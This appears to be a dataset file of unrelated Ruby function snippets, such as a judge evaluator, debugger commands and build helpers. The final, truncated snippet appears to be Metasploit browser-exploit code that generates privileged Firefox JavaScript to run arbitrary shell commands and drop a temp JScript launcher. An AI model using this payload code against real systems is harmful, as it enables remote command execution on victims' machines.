"def evaluate\n\t\t# :mem, :cpu, :hang, :sig, :ok, :exit, :compile, :fail\n\t\tcodes = {}\n\t\tStatusCode.all.each { |c| codes[c.name.downcase.to_sym] = c.id }\n\t\tlanguage = @program.programming_language\n\t\tcompiler = language.compiler\n\t\texecution = language.execution\n\t\ttcmd = \"#{Rails.root.join('script/timeout/timeout')} -t %s -m %s\"\n\t\tTempfile.open('src', Rails.root.join('tmp')) do |file|\n\t\t\tfile.write(@program.source_code)\n\t\t\tfile.flush\n\t\t\toutfile = File.dirname(file.path) + '/test'\n\t\t\tOpen3.popen2e(compiler % {out: outfile, in: file.path}) do |_, _, thread|\n\t\t\t\texit_code = thread.value\n\t\t\t\tunless exit_code.success?\n\t\t\t\t\[email protected]_code_id = codes[:compile]\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\ttask = @program.programming_task\n\t\t\t\ttimelimit = task.time_limit\n\t\t\t\tmemlimit = task.memory_limit.megabytes / 1.kilobyte\n\t\t\t\ttimeout = tcmd % [timelimit, memlimit]\n\t\t\t\ttestcases = task.programming_test_cases\n\t\t\t\ttestcases.each do |testcase|\n\t\t\t\t\texecution = execution % {file: outfile}\n\t\t\t\t\tOpen3.popen3(\"#{timeout} #{execution}\") do |stdin, stdout, stderr, thread|\n\t\t\t\t\t\tstdin.write testcase.stdin\n\t\t\t\t\t\tstdin.flush\n\t\t\t\t\t\tstdin.close_write\n\t\t\t\t\t\texit_code = thread.value\n\t\t\t\t\t\toutput = stdout.read.gsub(/\\r\\n?/, \"\\n\").strip\n\t\t\t\t\t\texpected = testcase.stdout\n\t\t\t\t\t\terr = stderr.read\n\t\t\t\t\t\tstatus = nil\n\t\t\t\t\t\terr.split(\"\\n\").reverse.each do |line|\n\t\t\t\t\t\t\tnext if line[0] == \"<\"\n\t\t\t\t\t\t\tcase line.split.first\n\t\t\t\t\t\t\twhen \"TIMEOUT\"\n\t\t\t\t\t\t\t\tstatus = codes[:cpu]\n\t\t\t\t\t\t\twhen \"HANGUP\"\n\t\t\t\t\t\t\t\tstatus = codes[:hang]\n\t\t\t\t\t\t\twhen \"MEM\"\n\t\t\t\t\t\t\t\tstatus = codes[:mem]\n\t\t\t\t\t\t\twhen \"SIGNAL\"\n\t\t\t\t\t\t\t\tstatus = codes[:sig]\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif status.nil?\n\t\t\t\t\t\t\tstatus = codes[:ok] if output == expected\n\t\t\t\t\t\t\tstatus = codes[:fail] if output != expected\n\t\t\t\t\t\t\tstatus = codes[:exit] unless exit_code.success?\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\toutput = \"\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\[email protected]_results.new(\n\t\t\t\t\t\t\tprogramming_test_case_id: testcase.id,\n\t\t\t\t\t\t\tstatus_code_id: status,\n\t\t\t\t\t\t\tlog: output\n\t\t\t\t\t\t)\n\t\t\t\t\t\[email protected]_code_id = status unless status == codes[:ok]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\[email protected]_code_id = codes[:ok] if @program.status_code_id.nil?\n\t\t\tend\n\t\t\tFile.delete(outfile) if File.exist?(outfile)\n\t\tend\n\tend",
"def stacktrace; end",
"def compile_to_ruby\n statements.collect { |s| s.compile_to_ruby }.join(\"\\n\")\n end",
"def texify exec_trace\n document_text = \"\"\n File.open \"preamble.tex\" do |file|\n while line = file.gets\n document_text += line\n end\n end\n document_text += \"\\\\begin{document}\\n\"\n stages = get_stages exec_trace\n stages.each do |stage|\n document_text += \"\\\\begin{frame}\\n\\n\"\n document_text += state_text stage.i_heap, stage.i_store\n document_text += \"\\n\"\n document_text += \"Current command: \"\n document_text += \"\\\\il{#{stage.text}}\"\n document_text += \"\\n\"\n document_text += \"\\\\vspace{1cm}\\n\\n\"\n document_text += state_text stage.f_heap, stage.f_store\n document_text += \"\\\\end{frame}\"\n document_text += \"\\n\"\n end\n document_text\nend",
"def exec; end",
"def exec; end",
"def send_to_testrail()\n options = ArgParser.parse_opts\n # Get pass/fail/skips from junit file\n results = load_junit_results(options[:junit_file])\n\n puts \"Run results:\"\n puts \"#{results[:passes].length} Passing\"\n puts \"#{results[:failures].length} Failing or Erroring\"\n puts \"#{results[:skips].length} Skipped\"\n\n # Set results in testrail\n bad_results = set_testrail_results(results, options[:junit_file], options[:testrun_id], options[:dry_run])\n\n # Print error messages\n if not bad_results.empty?\n puts \"Error: There were problems processing these test scripts:\"\n bad_results.each do |test_script, error|\n puts \"#{test_script}:\\n\\t#{error}\"\n end\n end\n end",
"def stack_trace=(_arg0); end",
"def trace\n DSL.new(@source.append(Trace.new))\n end",
"def execute_code source\n source.execute(@scope)\n rescue Exception => e\n message, name = @exception_service.get_exception_message(e)\n puts \"#{name}: #{message}\"\n end",
"def commence\n @vm, = API.compile( @db.handle, @sql )\n\n @current_row = API.step( @vm )\n\n @columns = @current_row[ :columns ]\n @types = @current_row[ :types ]\n\n check_eof( @current_row )\n end",
"def augment_fail(send, line)\n @phase = :execute\n @code = make_runnable(@code)\n\n begin\n open(\"log/simplemode.log\", 'a') do |file|\n file.puts '--------------------------------'\n file.puts Time.now\n file.puts '--------------------------------'\n file.puts @augmented_code\n file.puts \"\\n\\n\\n\"\n\n @augmented_code = nil\n end\n ensure\n send.call([\n {:write_file => {:filename => @filename, :content => @code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n return {:type => :warning, :message => 'Start im vereinfachten Modus.'}\n end\n end",
"def run(args)\n\n ## FIXME: DRY this code, tbreak and break.\n unless args.size == 1\n describe, klass_name, which, name, line, ip = \n @proc.breakpoint_position(args[1..-1])\n unless describe\n errmsg \"Can't parse temporary breakpoint location\"\n return \n end\n if name.kind_of?(Rubinius::CompiledMethod)\n bp = @proc.set_breakpoint_method(describe, name, line, ip,\n {:temp=>true, :event =>'tbrkpt'})\n unless bp\n errmsg \"Trouble setting temporary breakpoint\"\n return \n end\n else\n return unless klass_name\n begin\n klass = @proc.debug_eval(klass_name, settings[:maxstring])\n rescue NameError\n errmsg \"Unable to find class/module: #{klass_name}\"\n return\n end\n \n begin\n if which == \"#\"\n method = klass.instance_method(name)\n else\n method = klass.method(name)\n end\n rescue NameError\n errmsg \"Unable to find method '#{name}' in #{klass}\"\n return\n end\n arg_str = args[1..-1].join(' ')\n bp = @proc.set_breakpoint_method(arg_str.strip, method, line, nil,\n {:temp=>true, :event =>'tbrkpt'})\n unless bp\n errmsg \"Trouble setting temporary breakpoint\"\n return \n end\n end\n end\n @proc.continue('continue')\n end",
"def source\n source = source_compiler['jison.js'].to_s\n source_compiler.each_logical_path do |logical_path|\n next if logical_path == 'jison.js'\n src = source_compiler[logical_path].to_s\n logical_path.sub! /\\.js$/, ''\n source.concat \"require.def('#{logical_path}',{factory:function(require,exports,module){#{src}}});\"\n end\n source + \"var Dock = require('dock').Dock;\"\n end",
"def jumble\n command = \"\"\n\n @js_file_paths.each {|item|\n command += '--js \"' + item + '\" '\n }\n\n command += ' --js_output_file \"' + @output_file + '\"'\n \n self.exjar command\n end",
"def trace( crashfile, template )\n end",
"def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end",
"def trace!\n request! :trace\n end",
"def jump_sql\n \n FileUtils.cd(@app_path+\"/lib/tasks\",:verbose => true)\n if File.directory? @d\n puts \"Directory #{@d} exists\"\n else\n FileUtils.mkdir @d, :mode => 0700, :verbose => true\n end\n \n FileUtils.cd(@d,:verbose => true)\n @n = Time.now.strftime(\"%H%M%S\")\n @h = File.open(@n,\"a+\")\n @h.write(\"\\n#{@sql}\\n\")\n \n end",
"def trace( *args )\n\t\tRake.application.trace( *args ) if Rake.application.options.trace\n\tend",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def source_location\n to_java.source_location(Thread.current.to_java.getContext())\n end",
"def stacktrace=(_arg0); end",
"def seperate_and_filter_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n code_and_trace = generate_backend_trace(junit_test_file,\n files_path,\n peruser_files_path,\n student_file_name)\n splitter = '\"' + 'trace' + '\"' + ':'\n user_code, whole_trace = code_and_trace.split(splitter)\n\n whole_trace = whole_trace[1..whole_trace.length]\n\n entire_json_file = code_analyzer(user_code, whole_trace)\n\n entire_json_file\nend",
"def backtrace; end",
"def rInvocationStmt\n res = rInvocation(prob(85) ? 'void' : nil)\n return '' if res.empty?\n return tab + res + ';\\n'\nend",
"def do_execute code\n\t\t\tclassname = code.classname\n\t\t\tmethod = code.methodname\n\t\t\treturn if method == 'initialize'\n\t\t\t# @cf.cfp_logger.trace TRACE_ENGINE,\"Executing #{classname}.#{method}\"\n\t\t\t# Make sure global and class level variables exist\n\t\t\tsourcepath = File.dirname(code.fn)\n\t\t\thomepath = ENV['HOME']\n\t\t\tuser = ENV['USER'] # @@FIXME\n\t\t\tbegin\n\t\t\t\tiname = '@'+instancename(classname)\n\t\t\t\tif !@executeclasslist[classname]\n\t\t\t\t\t# ---- Create new class and add into runtime space\n\t\t\t\t\tscode = \"#{iname} = Cfp_Compile::#{classname}.new @cf,sourcepath,homepath,user\"\n\t\t\t\t\[email protected]_logger.trace TRACE_ENGINE,'Executing: '+scode\n\t\t\t\t\teval scode\n\t\t\t\t\t@executeclasslist[classname] = Cfp_ExecuteClass.new(classname)\n\t\t\t\tend\n\t\t\t\tif !@executeclasslist[classname].skip\n\t\t\t\t\tscode = \"#{iname}.#{method}\"\n\t\t\t\t\[email protected]_logger.trace TRACE_ENGINE,'Executing: '+scode\n\t\t\t\t\teval scode\n\t\t\t\tend\n\t\t\trescue CfrubyRuntime::PackageNotInstalledError, CfrubyRuntime::ExitScript\n\t\t\t\t@executeclasslist[classname].skip = true\n\t\t\trescue\n\t\t\t\tmsg = 'ERROR cfscript ',code.fn,\" line #{code.linenum} - #{$!}\\n\"\n\t\t\t\tcode.dump\n\t\t\t\[email protected]_logger.error LOG_CRIT,msg,'cfruby'\n\t\t\t\traise\n\t\t\tend\n\t\tend",
"def program\n @compile\n end",
"def release\n diagnostic_file = File.join JONAS_ROOT, \"diagnostics\", 'launch_jonas_diags.rb'\n diagnostics_cmd = \"ruby #{diagnostic_file}\"\n app_war_file = File.join JONAS_BASE, 'deploy' , 'app.war'\n if_jonas_base_exists_string = \"(if test ! -d #{app_war_file} ; then\"\n java_home_string = \"JAVA_HOME=#{@java_home}\"\n java_opts_string = \"JAVA_OPTS=\\\"#{ContainerUtils.to_java_opts_s(@java_opts)}\\\"\"\n export_base_vars_string = 'export JAVA_HOME JAVA_OPTS'\n export_deployme_vars_string = 'export JONAS_ROOT JONAS_BASE'\n deployme_var_string = \"JONAS_ROOT=#{JONAS_ROOT} JONAS_BASE=#{JONAS_BASE}\"\n deployme_root = File.join JONAS_ROOT, 'deployme'\n topology_xml_erb_file = File.join deployme_root, 'topology.xml.erb'\n topology_xml_file = File.join deployme_root, 'topology.xml'\n deployme_jar_file = File.join deployme_root, 'deployme.jar'\n topology_erb_cmd_string = \"erb #{topology_xml_erb_file} > #{topology_xml_file}\"\n deployme_cmd_string = \"$JAVA_HOME/bin/java -jar #{deployme_jar_file} -topologyFile=#{topology_xml_file} -domainName=singleDomain -serverName=singleServerName\"\n else_skip_string = 'else echo \"skipping jonas_base config as already present\"; fi)'\n setenv_cmd_string = File.join JONAS_BASE, 'setenv'\n copyapp_cmd = \"mkdir -p #{app_war_file} && cp -r --dereference * #{app_war_file}/\"\n start_script_string = \"source #{setenv_cmd_string} && jonas start -fg\"\n\n \"(#{diagnostics_cmd} & ); #{java_home_string} #{java_opts_string} && #{export_base_vars_string} && #{if_jonas_base_exists_string} #{deployme_var_string} && #{export_deployme_vars_string} && #{topology_erb_cmd_string} && #{deployme_cmd_string} && #{copyapp_cmd}; #{else_skip_string} && #{start_script_string}\"\n end",
"def trace( *messages )\n\t$stderr.puts( messages.join ) if Rake.application.options.trace\nend",
"def to_code\n\t\tprefix = [ \n\t\t\t\"#!/usr/bin/ruby\", \n\t\t\t\"system( \\\"#{self.to_scaffold}\\\")\", \n\t\t\t\"Dir.chdir \\\"#{self.name}\\\"\" \n\t\t]\n\n\t\tself.klasses.reduce( prefix) { |m,klass| \n\t\t\tm << \"system( \\\"#{klass.to_scaffold}\\\")\" << klass_to_file(klass)\n\t\t} << \"rake db:create\" << \"rake db:migrate\"\n\tend",
"def source_location\n if @file.nil?\n args =[*(1..(arity<-1 ? -arity-1 : arity ))]\n\n set_trace_func method(:trace_func).to_proc\n call(*args) rescue nil\n set_trace_func nil\n @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file))\n end\n [@file, @line] if @file\n end",
"def driver\n\n @steps.each do |step|\n begin\n next if step['Run'].to_s.downcase != 'x'\n displayDescription(step)\n @skipCurrentStep = false\n @step = step\n @action = step['Action'].clone\n\n methodName = getMethodName(step['Action'])\n begin\n send(methodName, step)\n rescue Exception => e\n screenActions\n end\n rescue Exception => e\n @report << [step['Action'], step['Description'], e.message, 'False']\n end\n end\n\n generateReport\n system(\"start excel #{@reportFolder}/report.csv\")\n end",
"def stacktrace\n result = caller().reduce([]) do |memo, loc|\n if loc =~ /\\A(.*\\.pp)?:([0-9]+):in\\s(.*)/\n # if the file is not found we set to code\n # and read from Puppet[:code]\n # $3 is reserved for the stacktrace type\n memo << [$1.nil? ? :code : $1, $2.to_i]\n end\n memo\n end.reverse\n end",
"def tapp\n tap { puts \"#{File.basename caller[4]}: #{self.inspect}\" }\n end",
"def debug_program(dbgr, ruby_path, program_to_debug)\n\n # Make sure Ruby script syntax checks okay.\n # Otherwise we get a load message that looks like trepanning has \n # a problem. \n output = `#{ruby_path} -c #{program_to_debug.inspect} 2>&1`\n if $?.exitstatus != 0 and RUBY_PLATFORM !~ /mswin/\n puts output\n exit $?.exitstatus \n end\n # print \"\\032\\032starting\\n\" if Trepan.annotate and Trepan.annotate > 2\n\n dbgr.trace_filter << self.method(:debug_program)\n dbgr.trace_filter << Kernel.method(:load)\n\n old_dollar_0 = $0\n\n # Without the dance below to set $0, setting it to a signifcantly\n # longer value will truncate it in some OS's. See\n # http://www.ruby-forum.com/topic/187083\n $progname = program_to_debug\n alias $0 $progname\n dollar_0_tracker = lambda {|val| $program_name = val} \n trace_var(:$0, dollar_0_tracker)\n\n dbgr.debugger(:hide_stack=>true) do\n dbgr.core.processor.hidelevels[Thread.current] = \n RubyVM::ThreadFrame.current.stack_size + 1\n Kernel::load program_to_debug\n end\n\n # The dance we have to undo to restore $0 and undo the mess created\n # above.\n $0 = old_dollar_0\n untrace_var(:$0, dollar_0_tracker)\n end",
"def full_backtrace; end",
"def compile\n cmd = self.command\n#puts ' + ' + cmd\n log.debug \"Invoking the compiler\"\n rc = Platform.execute cmd\n log.debug \"Compilation complete; rc=#{rc.to_s}\"\n rc\n end",
"def backtrace\n end",
"def run\n # Clear out previous run\n @result = nil\n\n field_stream = FieldStream.new\n @xtrace = Xtrace.new(field_stream)\n\n fd = @xtrace.file_descriptor\n env = { \"PS4\" => Xtrace.ps4 }\n options = { in: :in }\n\n if Bashcov.options.mute\n options[:out] = \"/dev/null\"\n options[:err] = \"/dev/null\"\n end\n\n run_xtrace(fd, env, options) do\n command_pid = Process.spawn env, *@command, options # spawn the command\n\n begin\n # start processing the xtrace output\n xtrace_thread = Thread.new { @xtrace.read }\n\n Process.wait command_pid\n\n @xtrace.close\n\n @coverage = xtrace_thread.value # wait for the thread to return\n rescue XtraceError => e\n write_warning <<-WARNING\n encountered an error parsing Bash's output (error was:\n #{e.message}). This can occur if your script or its path contains\n the sequence #{Xtrace.delimiter.inspect}, or if your script unsets\n LINENO. Aborting early; coverage report will be incomplete.\n WARNING\n\n @coverage = e.files\n end\n end\n\n $?\n end",
"def show_backtraces=(_arg0); end",
"def generate_source\n b = binding\n @generated_code = ERB.new(@artifact.code).result(b)\n end",
"def report_backtrace\n metadata = {\n 'sourcetype' => 'chef-handler-backtrace',\n 'source' => 'chef-handler',\n 'host' => node.hostname,\n 'index' => @index,\n 'check-index' => false\n }\n event = Array(run_status.backtrace).join(\"\\n\")\n\n splunk_post(event, metadata)\n end",
"def write_java\n j = \"\n package #{ @pkg };\n\n import android.app.Activity;\n import android.os.Bundle;\n import com.phonegap.*;\n\n public class #{ @name } extends DroidGap\n {\n @Override\n public void onCreate(Bundle savedInstanceState)\n {\n super.onCreate(savedInstanceState);\n super.loadUrl(\\\"file:///android_asset/www/index.html\\\");\n }\n }\n \"\n dir = \"#{ @path }/src/#{ @pkg.gsub '.', '/' }\";\n cls = \"#{ @name }.java\"\n pth = File.join(dir,cls)\n open(pth,'w') { |f| f.puts j.gsub(' ','') }\n end",
"def exjar args\n # move to the compilers directory\n Dir.chdir(\"#{File.dirname(@gcc_path)}\") do\n # execute the compiler\n retResult = system(\"#{@java_exec} -jar #{File.basename(@gcc_path)} #{args}\")\n puts retResult\n end #chdir\n \n # move back to original directory\n Dir.chdir(@current_dir)\n end",
"def pretty_backtrace backtrace = caller(1)\n trace = purge_harness_files_from( Array( backtrace ) )\n expand_symlinks( trace ).join \"\\n\"\n end",
"def compile\n '(%s = %s; %s %s []; %s; %s.join)' % [\n RESULT_VARIABLE_BACKDOOR,\n @result_variable.inspect,\n\n @result_variable,\n @continue_result ? '||=' : '=',\n\n @source_lines.map do |source_line|\n compiled_line = []\n combine_prev = false\n\n source_line.each do |stmt|\n is_code = stmt.type == :code\n is_expr = stmt.type == :expr\n\n if is_code\n compiled_line << stmt.value\n combine_prev = false\n\n else\n code =\n if is_expr\n \" << (#{stmt.value.strip})\"\n else\n \" << #{stmt.value.inspect}\"\n end\n\n if combine_prev\n compiled_line.last << code\n else\n compiled_line << @result_variable.to_s + code\n end\n\n combine_prev = true\n end\n end\n\n compiled_line.join('; ')\n\n end.join(\"\\n\"),\n\n @result_variable,\n ]\n end",
"def jump(cat,bran) \n # Select names of various category matters, called from ModelsMethods module\n @cat_names = RubyUtilities.m_columns(cat)\n \n # Abort the task if CAT_BRAN is wrong or there is no configuration for any of the CAT in ModelsMethods module\n if @cat_names.nil?\n aborts(\"Names of one or more Category specified in CAT_BRAN is not configured in models_methods.rb module\")\n end\n \n prep_cols_names\n \n b = bran.split(\",\").to_s.gsub(/\\[/,\"\").gsub(/\\]/,\"\")\n \n say(\"DOING #{@name} for BRAND => #{b} under CATEGORY => #{cat} ...\")\n \n @sql = \"call p_jump('#{@cols}',\n '#{cat}',\n '#{b}',\n '#{@bran_name}',\n '#{@v_id}',\n '#{@del}',\n '#{@type}',\n '#{\"v_id-\"+@v_id.to_s+\"-dml-\"+@dml}',\n '#{@price}',\n '#{@avl}',\n '#{@del_cost}',\n '#{@del_time}',\n '#{@offers}',\n '#{@warr}',\n '#{@deli}',\n '#{@reason}',\n '#{@valid}',\n '#{@conf_by}');\"\n \n say(\"EXECUTE THE FOLLOWING SQL ON mysql PROMPT(Couldnt execute these Stored Procedures from Ruby ) => \\n ========== \\n #{@sql} \\n ==========\\n\") \n say(\"DONE\")\n \n jump_sql\n \n end",
"def dump_call_stack\n puts \"[Debug] callStack start---\"\n puts caller\n puts \"[Debug] callStack end---\"\nend",
"def run_code(code)\n @output.puts # spacer\n begin\n @output.puts \" BEGIN DEBUG \".center(WIDTH, '=')\n eval(code.join(\"\\n\")) # Need to join, since +code+ is an Array.\n @output.puts \" END DEBUG \".center(WIDTH, '=')\n rescue Exception => error\n @output.puts \" DEBUG FAILED \".center(WIDTH, '=')\n @output.puts error\n end\n @output.puts # spacer\n end",
"def debug_program\n error = Byebug.debug_load(program, stop)\n puts \"#{error}\\n#{error.backtrace}\" if error\n end",
"def report_startup\n @time = Time.now\n #dir = File.basename(source) #File.basename(File.dirname(source))\n report \"Generating #{job} in #{File.basename(output)}:\\n\\n\"\n end",
"def generate_shell\n # shell\n file_name = \"run_All.sh\"\n printf(\"@I:generate %s\\n\",file_name)\n f = open(\"#{file_name}\",\"w\")\n f.printf(\"#\\!\\/bin\\/sh\\n\")\n comment = \"Run Script for ConnectChecker\" \n Common.print_file_header(f,\"#{comment}\",$TOOL,$VERSION,\"##\")\n f.printf(\"FICE=%s\\n\",File.dirname(__FILE__))\n f.printf(\"CONNECT_CHECKER=\\$\\{FICE\\}\\/ConnectChecker.rb\\n\")\n f.printf(\"\\n\")\n f.printf(\"for EXPECT_FILE in \\\\\\n\")\n case $MODE\n when \"All\"\n f.printf(\" %s\\/product.expect \\\\\\n\",dir_name)\n when \"Each\"\n @InstInfo.sort_by{|a|\n a.InstanceName\n }.each{|inst|\n f.printf(\" %s \\\\\\n\",inst.ExpectFile.gsub(\"\\(\",\"\\\\\\(\").gsub(\"\\)\",\"\\\\\\)\"))\n }\n end\n f.printf(\"\\n\")\n f.printf(\"do\\n\")\n ice_opt = \"\"\n @ICE_OPT.each{|str|\n ice_opt = ice_opt + \" \" + str\n }\n f.printf(\"\\truby -w \\$\\{CONNECT_CHECKER\\} -expect \\$\\{EXPECT_FILE\\} -device %s -ice %s\\n\",@DEV_OPT,ice_opt)\n f.printf(\"\\done\\n\")\n f.close\n FileUtils.chmod(0744,\"#{file_name}\")\n end",
"def source_line; end",
"def send_trace(event)\n assert_permissions(event, ['ntracer'])\n raise OutteError.new \"Sorry, tracing is disabled.\" if !FEATURE_NTRACE\n wait_msg = event.send_message(\"Queued...\") if $mutex[:ntrace].locked?\n $mutex[:ntrace].synchronize do\n wait_msg.delete if !wait_msg.nil?\n level = parse_highscoreable(event.content, mappack: true)\n raise OutteError.new \"Episodes and columns can't be traced\" if !level.is_a?(Levelish)\n map = !level.is_a?(Map) ? MappackLevel.find_by(id: level.id) : level\n raise OutteError.new \"Level data not found\" if map.nil?\n map.trace(event)\n end\nrescue => e\n lex(e, \"Error performing trace.\", event: event)\nend",
"def run\n # We don't want to mutate the original arguments, so we make a copy.\n actual_targets = @arguments.dup\n actual_targets = [ @default_target ] if actual_targets.empty?\n\n write_failure_file_if_necessary_at_beginning\n\n begin\n do_run(actual_targets)\n rescue => e\n # This makes sure that any kind of arbitrary exception from the rest of the\n # buildsystem gets correctly reported as a failure.\n message = \"Received exception from the build system: #{e} [#{e.class}]\\n\" +\n e.backtrace.join(\"\\n \")\n @script_results.failed(message)\n ensure\n end_time = Time.now\n # This is so that, even if the series of scripts leading from, say, CruiseControl to this\n # code doesn't correctly carry back the exit code (as it inexplicably seems not to on\n # Windows), the parent can tell if it passed or not.\n write_failure_file_if_necessary_at_end\n\n # Support for making build archives.\n # archive only if \"force-archive=true\", or when the run fails\n if ((@config_source['monkey-name'] && @script_results.failed?) ||\n @config_source[\"force-archive\"] =~ /true/)\n archive_build_if_necessary\n end\n\n # Print out the duration and the results at the end.\n puts \"\"\n puts \"[%8.2f seconds] %s\" % [ (end_time - @start_time), @script_results.to_s ]\n ExitCodeHelper.exit(@script_results.result_code)\n end\n\n\n end",
"def execute launcher_data\n STDOUT.reopen LOG_FILE, 'a'\n STDOUT.sync=true\n\n STDERR.reopen STDOUT\n STDERR.sync=true\n\n main_class = launcher_data['launcher_main']\n jvm_home = find_jvm_home launcher_data['jvm_version']\n\n if !jvm_home.nil?\n ENV['JAVA_HOME']=jvm_home\n java_launcher=File.join(jvm_home, \"bin\", \"java\")\n else\n java_launcher=\"java\"\n end\n \n\n classpath=Dir.entries(File.join(@scripts.base, 'lib')).select {|dir| dir =~ /\\.jar$/ }.collect { |dir| \"lib/#{dir}\" }.join(\":\")\n [email protected]_jvm_opts.join(' ')\n [email protected]_java_galaxy_env.join(' ')\n\n config_opts = [\n \"-Dness.config.location=file:#{@scripts.config_location}\",\n \"-Dness.config=#{@scripts.config_path}\"\n ]\n\n if File.exists?(\"#{@scripts.base}/log4j.xml\")\n config_opts << \"-Dlog4j.configuration=file:#{@scripts.base}/log4j.xml\"\n end\n\n if @scripts.respond_to?(\"tmp_dir\") && ! @scripts.tmp_dir.nil?\n config_opts << \"-Djava.io.tmpdir=#{@scripts.tmp_dir}\"\n end\n\n config = config_opts.join(\" \")\n\n puts \"=\" * 72\n puts \"=== config: #{@scripts.config_path}\"\n puts \"=== jvm: #{jvm_opts}\"\n puts \"=== galaxy: #{galaxy}\"\n puts \"=== extra: #{config}\"\n puts \"=== classpath: #{classpath}\"\n puts \"=== java: #{java_launcher}\"\n if !jvm_home.nil?\n puts \"=== java_home: #{jvm_home}\"\n end\n puts \"=== mainclass: #{main_class}\"\n puts \"=\" * 72\n\n Dir.chdir @scripts.base\n command=\"#{java_launcher} #{jvm_opts} #{config} #{galaxy} -classpath #{classpath} #{main_class}\"\n exec command\nend",
"def full_backtrace=(_arg0); end",
"def get_stages exec_trace\n ret_array = []\n lines = exec_trace.split /\\n/\n current_line = 0\n # Skip past preamble\n until lines[current_line] =~ /M@/\n current_line += 1\n end\n pattern = /M@(\\w+)/\n while current_line < lines.length\n if lines[current_line].match pattern\n command = lines[current_line].sub pattern, '\\1'\n case command\n when \"assign\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"new\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var} := new(#{exp})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"dispose\"\n var = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"free(#{var})\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"lookup\"\n var1 = lines[current_line += 1]\n var2 = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"#{var1} := [#{var2}]\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"mutate\"\n var = lines[current_line += 1]\n exp = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"[#{var}] := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"conditional\"\n bool = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n prog = lines[current_line += 1]\n text = \"if #{bool} (taking branch: #{prog})\"\n ret_array.push Stage.new i_heap, i_store, i_heap, i_store, text\n current_line += 1\n else\n raise \"command did not match\"\n end\n else\n raise \"line #{lines[current_line]} didn't match\"\n end\n end\n ret_array\nend",
"def run_cmd_source\n %Q|\n #{read_file_source}\n #{set_timeout_source}\n\n var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n var windows = (ua.indexOf(\"Windows\")>-1);\n var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;\n var runCmd = function(cmd, cb) {\n cb = cb \\|\\| (function(){});\n\n if (cmd.trim().length == 0) {\n setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n return;\n }\n\n var js = (/^\\\\s*\\\\[JAVASCRIPT\\\\]([\\\\s\\\\S]*)\\\\[\\\\/JAVASCRIPT\\\\]/g).exec(cmd.trim());\n if (js) {\n var tag = \"[!JAVASCRIPT]\";\n var sync = true; /* avoid zalgo's reach */\n var sent = false;\n var retVal = null;\n\n try {\n this.send = function(r){\n if (sent) return;\n sent = true;\n if (r) {\n if (sync) setTimeout(function(){ cb(false, r+tag+\"\\\\n\"); });\n else cb(false, r+tag+\"\\\\n\");\n }\n };\n retVal = Function(js[1]).call(this);\n } catch (e) { retVal = e.message; }\n\n sync = false;\n\n if (retVal && !sent) {\n sent = true;\n setTimeout(function(){ cb(false, retVal+tag+\"\\\\n\"); });\n }\n\n return;\n }\n\n var shEsc = \"\\\\\\\\$&\";\n var shPath = \"/bin/sh -c\";\n\n if (windows) {\n shPath = \"cmd /c\";\n shEsc = \"\\\\^$&\";\n var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');\n var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n .createInstance(Components.interfaces.nsIFileOutputStream);\n stream.init(jscriptFile, 0x04 \\| 0x08 \\| 0x20, 0666, 0);\n stream.write(jscript, jscript.length);\n if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n stream.finish();\n } else {\n stream.close();\n }\n }\n\n var stdoutFile = \"#{Rex::Text.rand_text_alphanumeric(8+rand(12))}\";\n\n var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n stdout.append(stdoutFile);\n\n var shell;\n cmd = cmd.trim();\n if (windows) {\n shell = shPath+\" 